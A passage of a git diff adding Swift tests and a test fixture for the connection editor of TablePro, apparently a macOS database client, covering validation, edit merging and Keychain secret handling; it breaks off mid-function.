draft.setPasswordPrompt(true, traits: postgres) + #expect(draft.credentials.password.isEmpty) + #expect(draft.fieldValues["usePgpass"] != "true") + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift new file mode 100644 index 0000000000..9374f26179 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift @@ -0,0 +1,183 @@ +// +// ConnectionEditorEngineIssueTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineIssueTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func issues(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext = EditorContext()) + -> [FieldIssue] { + ConnectionEditorEngine.issues(draft, traits, context) + } + + // Every type, every bad value at once: no issue may point at a row the layout does not show. + @Test("Every issue names a row the layout shows, for every registered type") + func everyIssueRowIsVisible() { + for type in DatabaseType.allKnownTypes { + let traits = traits(type) + var draft = ConnectionDraft.new(type: type, traits: traits) + draft.name = "" + draft.portText = "99999" + draft.options.connectTimeoutSeconds = 0 + draft.options.queryTimeoutSeconds = -5 + draft.options.binaryInlineLimitKilobytes = 0 + draft.options.scriptTimeoutSeconds = 0 + draft.ssl.clientCertPath = "/cert.pem" + draft.ssl.clientKeyPath = "" + for field in traits.fields where field.isRequired { + draft.fieldValues[field.id] = "" + } + for transport in ConnectionEditorEngine.availableTransports(draft, traits) { + var withTransport = draft + withTransport.selectTransport(transport) + let layout = ConnectionEditorEngine.layout(withTransport, traits, EditorContext()) + for issue in ConnectionEditorEngine.issues(withTransport, traits, EditorContext(), layout: layout) { + #expect(layout.facet(issue.facet)?.contains(issue.row) == true, "\(type.rawValue): \(issue.message)") + } + } + } + } + + @Test("A binary limit left invalid by MySQL blocks nothing once the type has no such row") + func hiddenBinaryLimitDoesNotBlock() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.name = "Shop" + draft.options.binaryInlineLimitKilobytes = 0 + #expect(issues(draft, mysql).contains { $0.row == .builtIn(.binaryInlineLimit) } == mysql.supportsBinaryInlineLimit) + + let postgres = traits(.postgresql) + draft.retype(to: postgres, from: mysql) + #expect(!issues(draft, postgres).contains { $0.row == .builtIn(.binaryInlineLimit) }) + } + + @Test("A client certificate without a key blocks nothing while SSL Mode is Disabled") + func hiddenClientKeyDoesNotBlock() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.name = "Orders" + draft.selectSSLMode(.required) + draft.ssl.clientCertPath = "/client.pem" + #expect(issues(draft, postgres).contains { $0.row == .builtIn(.sslClientKey) }) + + draft.selectSSLMode(.disabled) + #expect(!issues(draft, postgres).contains { $0.row == .builtIn(.sslClientKey) }) + } + + @Test("An https host list with SSL Mode Disabled points at SSL Mode in SSL/TLS") + func httpsHostListPointsAtSSLMode() throws { + let elastic = traits(.elasticsearch) + let hostList = try #require(elastic.fields.endpointHostList) + var draft = ConnectionDraft.new(type: .elasticsearch, traits: elastic) + draft.name = "Search" + draft.selectSSLMode(.disabled) + draft.fieldValues[hostList.id] = "https://es.example.com:9200" + + let issue = try #require(issues(draft, elastic).first { $0.message.contains("https://es.example.com:9200") }) + #expect(issue.row == .builtIn(.sslMode)) + #expect(issue.facet == .sslTLS) + } + + @Test("A required field a linked credential profile hides does not block Save") + func profileHiddenRequiredFieldDoesNotBlock() { + var traits = ConnectionTypeTraits(type: DatabaseType(rawValue: "Probe")) + traits.fields = [ + ConnectionField( + id: "apiKey", + label: "API Key", + required: true, + secure: true, + section: .authentication, + hidesPassword: true + ).withHidesUsername(true) + ] + let profile = CredentialProfile(name: "Shared", secureFieldIds: []) + var context = EditorContext() + context.credentialProfiles = [profile] + var draft = ConnectionDraft.new(type: traits.type, traits: traits) + draft.name = "Probe" + #expect(issues(draft, traits, context).contains { $0.row == .plugin(fieldID: "apiKey") }) + + draft.setCredentialMode(.profile(id: profile.id)) + #expect(!issues(draft, traits, context).contains { $0.row == .plugin(fieldID: "apiKey") }) + } + + @Test("The port is a trimmed whole number from 1 to 65535, and empty means the default") + func portParsing() { + #expect(ConnectionEditorEngine.parsePort("15432 ") == 15_432) + #expect(ConnectionEditorEngine.parsePort(" 15432") == 15_432) + #expect(ConnectionEditorEngine.parsePort("99999") == nil) + #expect(ConnectionEditorEngine.parsePort("-1") == nil) + #expect(ConnectionEditorEngine.parsePort("0") == nil) + #expect(ConnectionEditorEngine.parsePort("33o6") == nil) + #expect(ConnectionEditorEngine.parsePort("abc") == nil) + #expect(ConnectionEditorEngine.portIssue("") == nil) + #expect(ConnectionEditorEngine.portIssue("15432 ") == nil) + #expect(ConnectionEditorEngine.portIssue("99999") != nil) + #expect(ConnectionEditorEngine.portIssue("33o6") != nil) + } + + @Test("An unparsable port is an issue on the Port row and is never saved as the default") + func badPortBlocksSave() throws { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.name = "Orders" + draft.setPort("33o6", traits: postgres) + let issue = try #require(issues(draft, postgres).first { $0.row == .builtIn(.port) }) + #expect(issue.blocksSave) + + draft.setPort("15432 ", traits: postgres) + #expect(!issues(draft, postgres).contains { $0.row == .builtIn(.port) }) + let edits = ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()) + #expect(edits.port == 15_432) + } + + @Test("A missing name blocks Save but not Test") + func nameBlocksSaveOnly() throws { + let postgres = traits(.postgresql) + let draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + let issue = try #require(issues(draft, postgres).first { $0.row == .builtIn(.name) }) + #expect(issue.blocksSave) + #expect(!issue.blocksTest) + } + + @Test("SSL modes the driver refuses through a tunnel are not offered and block Save") + func sslModesThroughTunnel() throws { + var traits = traits(.postgresql) + traits.ssl.supportedModes = SSLMode.allCases + traits.ssl.modesThroughTunnel = [.disabled, .preferred, .required] + var draft = ConnectionDraft.new(type: .postgresql, traits: traits) + draft.name = "Orders" + draft.selectSSLMode(.verifyIdentity) + draft.ssl.caCertPath = "/ca.pem" + #expect(ConnectionEditorEngine.offeredSSLModes(draft, traits).contains(.verifyIdentity)) + + draft.selectTransport(.ssh) + draft.ssh.host = "bastion.example.com" + #expect(!ConnectionEditorEngine.offeredSSLModes(draft, traits).contains(.verifyIdentity)) + let issue = try #require(issues(draft, traits).first { $0.row == .builtIn(.sslMode) }) + #expect(issue.facet == .sslTLS) + } + + @Test("A jump host that is not valid names its own row") + func jumpHostIssueNamesItsRow() throws { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.name = "Shop" + draft.selectTransport(.ssh) + draft.ssh.host = "bastion" + let id = draft.addJumpHost() + let issue = try #require(issues(draft, mysql).first { $0.row == .builtIn(.jumpHost(id)) }) + #expect(issue.facet == .sshAndProxies) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift new file mode 100644 index 0000000000..f35614033b --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift @@ -0,0 +1,260 @@ +// +// ConnectionFormEditsMergeTests.swift +// TableProTests +// + +import Foundation +import TableProAutocomplete +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +// Save applies the form onto a fresh read: a value the form did not change keeps what another writer stored. +@MainActor +struct ConnectionFormEditsMergeTests { + private struct Property { + let change: (inout DatabaseConnection) -> Void + let read: (DatabaseConnection) -> String + } + + private struct StoredKey { + let change: (inout DatabaseConnection) -> Void + let remove: (inout DatabaseConnection) -> Void + let read: (DatabaseConnection) -> String + } + + private static let carriedOver: Set = [ + "id", "aiAlwaysAllowedTools", "sortOrder", "isSample", "isFavorite", "passwordSource", "sshRoute", "origin" + ] + + private static let pluginKey = "pluginOption" + + private static func describe(_ value: Value) -> String { String(describing: value) } + + // One entry per property the form writes; the Mirror check below fails when DatabaseConnection gains one. + private static let properties: [String: Property] = [ + "name": Property(change: { $0.name = "Concurrent" }, read: { describe($0.name) }), + "host": Property(change: { $0.host = "other.example.com" }, read: { describe($0.host) }), + "port": Property(change: { $0.port = 6_000 }, read: { describe($0.port) }), + "database": Property(change: { $0.database = "other" }, read: { describe($0.database) }), + "username": Property(change: { $0.username = "other" }, read: { describe($0.username) }), + "type": Property(change: { $0.type = .mariadb }, read: { describe($0.type) }), + "sshConfig": Property(change: { $0.sshConfig.host = "changed" }, read: { describe($0.sshConfig) }), + "sslConfig": Property(change: { $0.sslConfig.mode = .required }, read: { describe($0.sslConfig) }), + "color": Property(change: { $0.color = .red }, read: { describe($0.color) }), + "iconName": Property(change: { $0.iconName = "star" }, read: { describe($0.iconName) }), + "tagIds": Property(change: { $0.tagIds = [UUID()] }, read: { describe($0.tagIds) }), + "groupId": Property(change: { $0.groupId = UUID() }, read: { describe($0.groupId) }), + "sshProfileId": Property(change: { $0.sshProfileId = UUID() }, read: { describe($0.sshProfileId) }), + "sshTunnelMode": Property( + change: { $0.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion")) }, + read: { describe($0.sshTunnelMode) } + ), + "credentialMode": Property(change: { $0.credentialMode = .profile(id: UUID()) }, read: { describe($0.credentialMode) }), + "cloudflareTunnelMode": Property( + change: { + $0.cloudflareTunnelMode = .inline(CloudflareConfiguration( + accessHostname: "db.example.com", localPort: nil, authMethod: .browserSSO, exposeToLAN: false, binaryPath: "" + )) + }, + read: { describe($0.cloudflareTunnelMode) } + ), + "cloudSQLProxyMode": Property( + change: { + $0.cloudSQLProxyMode = .inline(CloudSQLProxyConfiguration( + instanceConnectionName: "p:r:i", authMode: .applicationDefault, useIAMAuth: false, + usePrivateIP: false, localPort: nil, binaryPath: "" + )) + }, + read: { describe($0.cloudSQLProxyMode) } + ), + "socksProxyMode": Property( + change: { $0.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy", port: 1_080, username: "")) }, + read: { describe($0.socksProxyMode) } + ), + "tunnelCommandMode": Property( + change: { $0.tunnelCommandMode = .inline(TunnelCommandConfiguration()) }, + read: { describe($0.tunnelCommandMode) } + ), + "preferredSafeModeLevel": Property(change: { $0.preferredSafeModeLevel = .readOnly }, read: { describe($0.preferredSafeModeLevel) }), + "aiPolicy": Property(change: { $0.aiPolicy = .never }, read: { describe($0.aiPolicy) }), + "aiRules": Property(change: { $0.aiRules = "Prefer views" }, read: { describe($0.aiRules) }), + "externalAccess": Property(change: { $0.externalAccess = .blocked }, read: { describe($0.externalAccess) }), + "redisDatabase": Property(change: { $0.redisDatabase = 4 }, read: { describe($0.redisDatabase) }), + "startupCommands": Property(change: { $0.startupCommands = "SET x = 1" }, read: { describe($0.startupCommands) }), + "localOnly": Property(change: { $0.localOnly = true }, read: { describe($0.localOnly) }) + ] + + // The typed properties that sit over an additionalFields key, plus a plugin field. + private static let storedKeys: [String: StoredKey] = [ + "connectTimeoutSeconds": StoredKey( + change: { $0.connectTimeoutSeconds = 45 }, + remove: { $0.connectTimeoutSeconds = nil }, + read: { describe($0.connectTimeoutSeconds) } + ), + "queryTimeoutSeconds": StoredKey( + change: { $0.queryTimeoutSeconds = 90 }, + remove: { $0.queryTimeoutSeconds = nil }, + read: { describe($0.queryTimeoutSeconds) } + ), + "binaryInlineLimitKilobytes": StoredKey( + change: { $0.binaryInlineLimitKilobytes = 512 }, + remove: { $0.binaryInlineLimitKilobytes = nil }, + read: { describe($0.binaryInlineLimitKilobytes) } + ), + "completionIdentifierCase": StoredKey( + change: { $0.completionIdentifierCase = .lower }, + remove: { $0.completionIdentifierCase = .default }, + read: { describe($0.completionIdentifierCase) } + ), + "commitMode": StoredKey( + change: { $0.commitMode = .automatic }, + remove: { $0.commitMode = .automatic }, + read: { describe($0.commitMode) } + ), + "maskingRules": StoredKey( + change: { $0.maskingRules = [MaskingRule(pattern: "*.ssn")] }, + remove: { $0.maskingRules = [] }, + read: { describe($0.maskingRules.map(\.pattern)) } + ), + pluginKey: StoredKey( + change: { $0.additionalFields[pluginKey] = "changed" }, + remove: { $0.additionalFields[pluginKey] = nil }, + read: { describe($0.additionalFields[pluginKey]) } + ) + ] + + private static func base() -> DatabaseConnection { + var connection = DatabaseConnection( + id: UUID(), + name: "Shop", + host: "db.example.com", + port: 3_306, + database: "shop", + username: "app", + type: .mysql + ) + connection.connectTimeoutSeconds = 20 + connection.queryTimeoutSeconds = 30 + connection.binaryInlineLimitKilobytes = 128 + connection.completionIdentifierCase = .upper + connection.commitMode = .manual + connection.maskingRules = [MaskingRule(pattern: "*.email")] + connection.additionalFields[pluginKey] = "original" + return connection + } + + private static func edits(_ connection: DatabaseConnection) -> ConnectionFormEdits { + ConnectionFormEdits( + name: connection.name, + host: connection.host, + port: connection.port, + database: connection.database, + username: connection.username, + type: connection.type, + sshConfig: connection.sshConfig, + sslConfig: connection.sslConfig, + color: connection.color, + iconName: connection.iconName, + tagIds: connection.tagIds, + groupId: connection.groupId, + sshProfileId: connection.sshProfileId, + sshTunnelMode: connection.sshTunnelMode, + credentialMode: connection.credentialMode, + cloudflareTunnelMode: connection.cloudflareTunnelMode, + cloudSQLProxyMode: connection.cloudSQLProxyMode, + socksProxyMode: connection.socksProxyMode, + tunnelCommandMode: connection.tunnelCommandMode, + safeModeLevel: connection.preferredSafeModeLevel, + aiPolicy: connection.aiPolicy, + aiRules: connection.aiRules, + externalAccess: connection.externalAccess, + connectTimeoutSeconds: connection.connectTimeoutSeconds, + queryTimeoutSeconds: connection.queryTimeoutSeconds, + binaryInlineLimitKilobytes: connection.binaryInlineLimitKilobytes, + completionIdentifierCase: connection.completionIdentifierCase, + commitMode: connection.commitMode, + redisDatabase: connection.redisDatabase, + startupCommands: connection.startupCommands, + localOnly: connection.localOnly, + additionalFields: connection.additionalFields, + ownedAdditionalFieldIDs: ConnectionFormEdits.appManagedAdditionalFieldIDs.union([pluginKey]), + maskingRules: connection.maskingRules + ) + } + + @Test("The table covers every property the form writes") + func tableCoversEveryWrittenProperty() { + let stored = Set(Mirror(reflecting: Self.base()).children.compactMap(\.label)) + let written = stored.subtracting(Self.carriedOver).subtracting(["additionalFields"]) + #expect(Set(Self.properties.keys) == written) + } + + @Test("A property another writer changed, and the form did not, keeps the other writer's value") + func concurrentChangeIsKept() { + for (name, property) in Self.properties { + let base = Self.base() + var fresh = base + property.change(&fresh) + let result = Self.edits(base).applied(to: fresh, since: Self.edits(base)) + #expect(property.read(result) == property.read(fresh), "\(name)") + } + for (name, key) in Self.storedKeys { + let base = Self.base() + var fresh = base + key.change(&fresh) + let result = Self.edits(base).applied(to: fresh, since: Self.edits(base)) + #expect(key.read(result) == key.read(fresh), "\(name)") + } + } + + @Test("A property the form changed overwrites the stored one") + func draftChangeWins() { + for (name, property) in Self.properties { + let base = Self.base() + var edited = base + property.change(&edited) + let result = Self.edits(edited).applied(to: base, since: Self.edits(base)) + #expect(property.read(result) == property.read(edited), "\(name)") + } + for (name, key) in Self.storedKeys { + let base = Self.base() + var edited = base + key.change(&edited) + let result = Self.edits(edited).applied(to: base, since: Self.edits(base)) + #expect(key.read(result) == key.read(edited), "\(name)") + } + } + + @Test("A key the form cleared is removed") + func draftDeletionRemovesTheKey() { + for (name, key) in Self.storedKeys { + let base = Self.base() + var edited = base + key.remove(&edited) + let result = Self.edits(edited).applied(to: base, since: Self.edits(base)) + #expect(key.read(result) == key.read(edited), "\(name)") + } + } + + @Test("A key another writer removed, and the form did not touch, stays removed") + func concurrentDeletionIsNotResurrected() { + for (name, key) in Self.storedKeys { + let base = Self.base() + var fresh = base + key.remove(&fresh) + let result = Self.edits(base).applied(to: fresh, since: Self.edits(base)) + #expect(key.read(result) == key.read(fresh), "\(name)") + } + } + + @Test("Without a baseline the merge is the plain apply") + func noBaselineIsPlainApply() { + let base = Self.base() + var edited = base + edited.name = "Renamed" + #expect(Self.edits(edited).applied(to: base, since: nil) == Self.edits(edited).applied(to: base)) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift new file mode 100644 index 0000000000..ac4b07c5d9 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift @@ -0,0 +1,127 @@ +// +// SecretWritePlanTests.swift +// TableProTests +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +@MainActor +struct SecretWritePlanTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func plan(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext = EditorContext()) + -> SecretWritePlan { + ConnectionEditorEngine.secretPlan(draft, traits, originalTraits: traits, context) + } + + @Test("Emptying a stored password deletes it once the record is on disk") + func clearedPasswordIsDeleted() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.credentials.storedPasswordState = .stored + draft.credentials.password = "" + let plan = plan(draft, mysql) + #expect(plan.deletesAfterRecord.contains(.password)) + #expect(plan.writes(of: .password) == nil) + } + + @Test("An empty field over a password that could not be read deletes nothing") + func unreadablePasswordIsKept() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.credentials.storedPasswordState = .unreadable + let plan = plan(draft, mysql) + #expect(!plan.deletesAfterRecord.contains(.password)) + #expect(!plan.stagedDeletes.contains(.password)) + } + + @Test("A typed password is written") + func typedPasswordIsWritten() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.credentials.password = "hunter2" + #expect(plan(draft, mysql).writes(of: .password) == "hunter2") + } + + @Test("A linked credential profile clears the connection's password and the profile's secure fields") + func linkedProfileClearsOwnSecrets() { + let mysql = traits(.mysql) + let profile = CredentialProfile(name: "Shared", secureFieldIds: ["awsSecretAccessKey"]) + var context = EditorContext() + context.credentialProfiles = [profile] + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.credentials.password = "hunter2" + draft.setCredentialMode(.profile(id: profile.id)) + let plan = plan(draft, mysql, context) + #expect(plan.deletesAfterRecord.contains(.password)) + #expect(plan.deletesAfterRecord.contains(.pluginField("awsSecretAccessKey"))) + #expect(plan.writes(of: .password) == nil) + } + + @Test("An SSH profile this Mac cannot resolve keeps its link and deletes no SSH secret") + func unresolvedSSHProfileTouchesNothing() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.selectTransport(.ssh) + draft.ssh.profileId = UUID() + draft.ssh.profileSnapshot = SSHConfiguration(enabled: true, host: "bastion.example.com") + let plan = plan(draft, mysql) + let sshItems: [SecretWritePlan.Item] = [.sshPassword, .sshKeyPassphrase, .totpSecret] + for item in sshItems { + #expect(!plan.stagedDeletes.contains(item)) + #expect(!plan.deletesAfterRecord.contains(item)) + #expect(plan.writes(of: item) == nil) + } + let edits = ConnectionEditorEngine.edits(draft, mysql, originalTraits: mysql, EditorContext()) + guard case .profile(let id, let snapshot) = edits.sshTunnelMode else { + Issue.record("An unresolved profile was converted: \(edits.sshTunnelMode)") + return + } + #expect(id == draft.ssh.profileId) + #expect(snapshot.host == "bastion.example.com") + #expect(edits.sshProfileId == draft.ssh.profileId) + } + + @Test("A resolved SSH profile clears the connection's own SSH secrets") + func resolvedSSHProfileClearsInlineSecrets() { + let mysql = traits(.mysql) + let profile = SSHProfile(name: "Bastion", host: "bastion.example.com") + var context = EditorContext() + context.sshProfiles = [profile] + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.selectTransport(.ssh) + draft.selectSSHProfile(profile.id, profiles: [profile]) + let plan = plan(draft, mysql, context) + #expect(plan.stagedDeletes.contains(.sshPassword)) + #expect(plan.stagedDeletes.contains(.sshKeyPassphrase)) + } + + @Test("A secure field outside Authentication is written like any other") + func secureFieldInAnySectionIsWritten() { + var traits = ConnectionTypeTraits(type: DatabaseType(rawValue: "Probe")) + traits.fields = [ConnectionField(id: "vaultToken", label: "Vault Token", secure: true, section: .advanced)] + var draft = ConnectionDraft.new(type: traits.type, traits: traits) + draft.setFieldValue("s3cret", for: "vaultToken") + #expect(plan(draft, traits).writes(of: .pluginField("vaultToken")) == "s3cret") + #expect(ConnectionEditorEngine.edits(draft, traits, originalTraits: nil, EditorContext()).additionalFields["vaultToken"] == nil) + } + + @Test("A retype clears the secure fields of the type the connection started as") + func retypeClearsOriginalSecureFields() { + let snowflake = traits(.snowflake) + let mysql = traits(.mysql) + let secureIds = snowflake.declaredSecureFieldIds.filter { mysql.field($0) == nil } + guard let fieldId = secureIds.first else { return } + let draft = ConnectionDraft.new(type: .mysql, traits: mysql) + let plan = ConnectionEditorEngine.secretPlan(draft, mysql, originalTraits: snowflake, EditorContext()) + #expect(plan.stagedDeletes.contains(.pluginField(fieldId))) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift new file mode 100644 index 0000000000..2f8bc2c322 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift @@ -0,0 +1,166 @@ +// +// ConnectionEditorStoreFixture.swift +// TableProTests +// + +import Foundation + +@testable import TablePro + +final class RecordingKeychain: KeychainStoring, @unchecked Sendable { + private let lock = NSLock() + private var store: [String: String] = [:] + private var writes = 0 + private var refusesWrites = false + + var writeCount: Int { + lock.withLock { writes } + } + + var keys: [String] { + lock.withLock { Array(store.keys) } + } + + func refuseWrites(_ refuse: Bool) { + lock.withLock { refusesWrites = refuse } + } + + func resetWriteCount() { + lock.withLock { writes = 0 } + } + + func value(forKey key: String) -> String? { + lock.withLock { store[key] } + } + + @discardableResult + func writeString(_ value: String, forKey key: String) -> Bool { + lock.withLock { + writes += 1 + guard !refusesWrites else { return false } + store[key] = value + return true + } + } + + func readStringResult(forKey key: String) -> KeychainStringResult { + lock.withLock { + guard let value = store[key] else { return .notFound } + return .found(value) + } + } + + func delete(forKey key: String) { + lock.withLock { store[key] = nil } + } +} + +private struct NoManagedPolicy: ManagedPolicyReading { + func string(_ policy: ManagedPolicy) -> String? { nil } +} + +@MainActor +final class ConnectionEditorStoreFixture { + let directory: URL + let suite: EphemeralDefaults + let keychain = RecordingKeychain() + let events = AppEvents() + let storage: ConnectionStorage + let sshProfiles: SSHProfileStorage + let credentialProfiles: CredentialProfileStorage + let recents: RecentConnectionsStore + let listPreferences: ConnectionListPreferences + let services: AppServices + + init() throws { + directory = FileManager.default.temporaryDirectory + .appendingPathComponent("tablepro-editor-store-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: directory, withIntermediateDirectories: true) + suite = try EphemeralDefaults() + let defaults = suite.defaults + let keychain = keychain + let events = events + let storage = ConnectionStorage( + fileURL: directory.appendingPathComponent("connections.json"), + userDefaults: defaults, + keychain: keychain, + appEvents: events + ) + self.storage = storage + sshProfiles = SSHProfileStorage(userDefaults: defaults, keychain: keychain, connectionStorage: storage) + credentialProfiles = CredentialProfileStorage( + fileURL: directory.appendingPathComponent("credentialProfiles.json"), + keychain: keychain, + connectionStorage: storage + ) + recents = RecentConnectionsStore(defaults: defaults, appEvents: events) + listPreferences = ConnectionListPreferences(defaults: defaults, appEvents: events) + let live = AppServices.live + services = AppServices( + appEvents: events, + appSettings: live.appSettings, + appSettingsStorage: live.appSettingsStorage, + connectionStorage: storage, + databaseManager: live.databaseManager, + pluginManager: live.pluginManager, + schemaService: live.schemaService, + schemaRefreshService: live.schemaRefreshService, + schemaProviderRegistry: live.schemaProviderRegistry, + catalogChangeService: live.catalogChangeService, + sqlFavoriteManager: live.sqlFavoriteManager, + favoriteTablesStorage: live.favoriteTablesStorage, + favoriteDatabasesStorage: live.favoriteDatabasesStorage, + tableFolderStorage: live.tableFolderStorage, + aiChatStorage: live.aiChatStorage, + aiKeyStorage: live.aiKeyStorage, + aiAccessApprovals: live.aiAccessApprovals, + groupStorage: live.groupStorage, + tagStorage: live.tagStorage, + sshProfileStorage: sshProfiles, + credentialProfileStorage: credentialProfiles, + featureAccess: live.featureAccess, + syncMetadataStorage: live.syncMetadataStorage, + favoritesExpansionState: live.favoritesExpansionState, + linkedFolderWatcher: live.linkedFolderWatcher, + queryHistoryManager: live.queryHistoryManager, + dateFormattingService: live.dateFormattingService, + copilotService: live.copilotService, + mcpServerManager: live.mcpServerManager, + syncTracker: live.syncTracker, + welcomeRouter: live.welcomeRouter, + telemetry: live.telemetry + ) + } + + deinit { + try? FileManager.default.setAttributes([.posixPermissions: 0o755], ofItemAtPath: directory.path) + try? FileManager.default.removeItem(at: directory) + } + + func makeStore(_ request: ConnectionEditorStore.Request) -> ConnectionEditorStore { + ConnectionEditorStore( + request: request, + services: services, + recentConnections: recents, + listPreferences: listPreferences, + managedPolicy: NoManagedPolicy() + ) + } + + @discardableResult + func seed(_ connections: [DatabaseConnection]) -> Bool { + storage.saveConnections(connections) + } + + func makeLibraryReadOnly(_ readOnly: Bool) throws { + try FileManager.default.setAttributes( + [.posixPermissions: readOnly ? 0o555 : 0o755], + ofItemAtPath: directory.path + ) + storage.invalidateCache() + } + + func secretKeys(for id: UUID) -> [String] { + keychain.keys.filter { $0.hasSuffix(id.uuidString) } + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift new file mode 100644 index 0000000000..4bab22d7b7 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift @@ -0,0 +1,396 @@ +// +// ConnectionEditorStoreTests.swift +// TableProTests +// + +import Combine +import Foundation +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreTests { + private func postgres(name: String = "Orders") -> DatabaseConnection { + DatabaseConnection( + name: name, + host: "db.example.com", + port: 5_432, + database: "orders", + username: "app", + type: .postgresql + ) + } + + // MARK: - Load + + @Test("Editing an id the library does not have shows the missing state and refuses Save") + func missingRecord() throws { + let fixture = try ConnectionEditorStoreFixture() + fixture.seed([postgres()]) + let store = fixture.makeStore(.edit(connectionId: UUID())) + #expect(store.isRecordMissing) + #expect(!store.canSave) + } + + @Test("A stored connection loads unchanged and reads as not edited") + func loadIsClean() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.host == "db.example.com") + #expect(!store.hasUnsavedChanges) + store.update { $0.host = "other.example.com" } + #expect(store.hasUnsavedChanges) + } + + // MARK: - Test record + + @Test("Test signs in with the record Save would write, unowned keys included") + func testRecordMatchesSavedRecord() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.additionalFields["mongoParam_directConnection"] = "true" + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + store.update { $0.host = "replica.example.com" } + let tested = store.testRecord(testId: UUID()) + #expect(tested.additionalFields["mongoParam_directConnection"] == "true") + + let saved = try store.save().get() + #expect(ConnectionEditorEngine.record(tested, reassignedTo: connection.id) == saved) + } + + @Test("A result is cleared by an edit to what was tested, and kept by a rename") + func resultClearsOnTestedEdit() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.lastTestedFingerprint = ConnectionEditorEngine.testFingerprint( + store.draft, store.traits, originalTraits: store.originalTraits, store.context + ) + let success = ConnectionTestSuccess(typeName: "PostgreSQL", serverVersion: "16.4", elapsedMilliseconds: 42, warning: nil) + store.testState = .succeeded(success) + store.update { $0.name = "Renamed" } + #expect(store.testState == .succeeded(success)) + store.update { $0.host = "elsewhere.example.com" } + #expect(store.testState == .idle) + } + + @Test("Test needs no name") + func testNeedsNoName() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + #expect(store.draft.name.isEmpty) + #expect(store.canTest) + #expect(!store.canSave) + } + + // MARK: - Save order + + @Test("A refused Keychain write saves no record and says nothing was saved") + func keychainFailureSavesNothing() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { + $0.name = "Orders" + $0.credentials.password = "hunter2" + } + fixture.keychain.refuseWrites(true) + #expect(store.save() == .failure(.keychainWriteFailed)) + #expect(fixture.storage.loadConnection(id: store.connectionId) == nil) + #expect(fixture.secretKeys(for: store.connectionId).isEmpty) + } + + @Test("A failed record write leaves no secret behind, and the retry saves under the same id") + func failedRecordWriteCleansUpAndRetriesUnderTheSameId() throws { + let fixture = try ConnectionEditorStoreFixture() + fixture.seed([postgres(name: "Existing")]) + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + let id = store.connectionId + store.update { + $0.name = "Orders" + $0.credentials.password = "hunter2" + } + try fixture.makeLibraryReadOnly(true) + #expect(store.save() == .failure(.recordWriteFailed)) + #expect(fixture.secretKeys(for: id).isEmpty) + + try fixture.makeLibraryReadOnly(false) + let saved = try store.save().get() + #expect(saved.id == id) + #expect(store.connectionId == id) + #expect(fixture.storage.loadPassword(for: id) == "hunter2") + } + + @Test("A record deleted elsewhere is refused before any secret is written") + func 